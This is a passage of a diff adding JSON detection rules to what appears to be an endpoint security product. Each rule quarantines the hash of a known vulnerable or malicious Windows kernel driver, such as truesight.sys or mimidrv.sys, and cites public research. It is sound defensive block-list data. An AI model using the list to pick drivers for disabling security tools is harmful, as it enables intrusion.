+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483565Z",
+  "creation_date": "2026-03-23T11:45:31.483569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483579Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44c425bee3b0ec076e2d69aec8f1cba7a0a7e696b5956151f5d5e01daf9a276e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f06a3ce5-ea36-5f1e-bc81-4b17a44441cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480268Z",
+  "creation_date": "2026-03-23T11:45:30.480271Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33494ed37d4be23b7de493d5f2c9c31a83a7a834c79a5fd7c2a93c1054f583b1",
+  "comment": "Vulnerable Kernel Driver (aka GEDevDrvSYS.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f07a2183-25e1-576d-aac8-6da429b664d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828225Z",
+  "creation_date": "2026-03-23T11:45:31.828229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828237Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a330bbf3d7e7df05ccc862ce00558226515259db9beefc461ca52b20bc550ac1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0842e48-acc8-5301-a18d-6b1d8a87a020",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620798Z",
+  "creation_date": "2026-03-23T11:45:29.620800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9b3878ddc5dfb237d38f8d25067267870afd67d12a330397a8853209c4d889c",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f093affe-0ee2-551c-817c-7f4a71f115c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454124Z",
+  "creation_date": "2026-03-23T11:45:30.454128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7c79238f862b471740aff4cc3982658d1339795e9ec884a8921efe2e547d7c3",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0994127-6151-5352-9f80-6b55f6c9248d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807370Z",
+  "creation_date": "2026-03-23T11:45:31.807372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "504aa932b4c664e62f7958a8284040a3e4e89a8faf53b28ea6cd86d4ea3bc637",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f09c11f2-c992-5566-8d4a-2ed64efdbc3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819912Z",
+  "creation_date": "2026-03-23T11:45:30.819914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35ad05063e2b44b2e606464f12405b954ac8bc8417fa9732ba13365dbe26f90b",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0a88f52-7fba-5427-9a57-9f90bdc090eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826685Z",
+  "creation_date": "2026-03-23T11:45:31.826687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d091fd19eadd1cbb97b279d50c022ecd1bf2178a24552086ecf43e1c26e3b8dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0b4bc5b-8184-532a-b959-58983c714a70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832927Z",
+  "creation_date": "2026-03-23T11:45:30.832930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbb1b9ec0952ce9e643da077c2b8a0ad892f94b749c5e1f6d521934c7b85fe37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0be8ae1-bc11-56e5-8f81-65a4f7925e2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818134Z",
+  "creation_date": "2026-03-23T11:45:31.818137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdf3023c31e1d6e135a213d0b6b5ec1042a76f9c3a0aaac5bf3ca44ae7e93dfe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0c4e43a-0147-5621-91fc-85ee3f7fcfe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480099Z",
+  "creation_date": "2026-03-23T11:45:30.480101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59cbdc9190000b1de3719dbdb5d90459c602487672a3bae9c56d8ffae5e64250",
+  "comment": "Vulnerable Kernel Driver (aka stdcdrv64sys.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0d51228-26d4-5581-af10-29572aabef61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497596Z",
+  "creation_date": "2026-03-23T11:45:31.497599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7310f23cc50de883174cdd6d2bb3ebeb5f82e9cfe8a600e430260574537a585",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0d72f79-9ee9-5b63-8d78-30953b161ea7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465709Z",
+  "creation_date": "2026-03-23T11:45:30.465712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07759750fbb93c77b5c3957c642a9498fcff3946a5c69317db8d6be24098a4a0",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f0e66f8b-d6b0-5d17-a2fd-4d2d5e1c0643",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466865Z",
+  "creation_date": "2026-03-23T11:45:30.466881Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466891Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e1d32e156037b09105c3640d06e5b34fbe0bb49c605697d13b5fc26776fae26",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f10681fb-11c8-53d5-892d-3910a058261e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980603Z",
+  "creation_date": "2026-03-23T11:45:29.980605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39789a159c1196255f1b6d83e23af4082fd4cffe2662e40b71631b4e2e4bc05d",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f10b8f44-5a16-5d0a-873e-040078513b9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456982Z",
+  "creation_date": "2026-03-23T11:45:30.456985Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce12d9c2996a6626f6fc68415f8a94851b3468c9c62cc408dbdc0227cf77939d",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f10c51b7-b98a-5900-9a99-77ecc1bb544b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494905Z",
+  "creation_date": "2026-03-23T11:45:31.494907Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494912Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9cd1e2a2f242719ea4f69364abc3d0732a119eea406e01c1cd53b3fb4222e66f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1111198-594d-5e46-a6f3-548f2ed5e68d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815141Z",
+  "creation_date": "2026-03-23T11:45:31.815144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815149Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa1c8e1f60b19fe70de7fa80763a193bc85aa4bb1803895a8a849992429633a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f1111e04-83be-532b-9b22-8ed433340468",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826786Z",
+  "creation_date": "2026-03-23T11:45:30.826790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91ea0f447ba2d2ceee00054c3df287499cb62c73ff272907a7295199ec6a8964",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f11a38ca-434e-531b-9e7a-3001eb011fa1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615468Z",
+  "creation_date": "2026-03-23T11:45:29.615470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6bed7f1304c6785a06064b04e0e3cb55384588f18ea2fc348a6fcd5784f47558",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f12e2a70-d771-5ff9-9fda-47f9f2b54240",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156826Z",
+  "creation_date": "2026-03-23T11:45:31.156828Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bef75f86c7f13b273f45d3bfd16f5875e1a77b5c6932c48eb1aa3729d06913b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f13fad44-f5c3-5f61-a012-bd27aeab9bb7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495208Z",
+  "creation_date": "2026-03-23T11:45:31.495212Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495221Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "407b5dbd822eea9b5b3edd0cb655f32a46456556fe093782ea97008a489e1f10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f15b1e12-8ff9-51bd-ac87-1d0072064ad0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
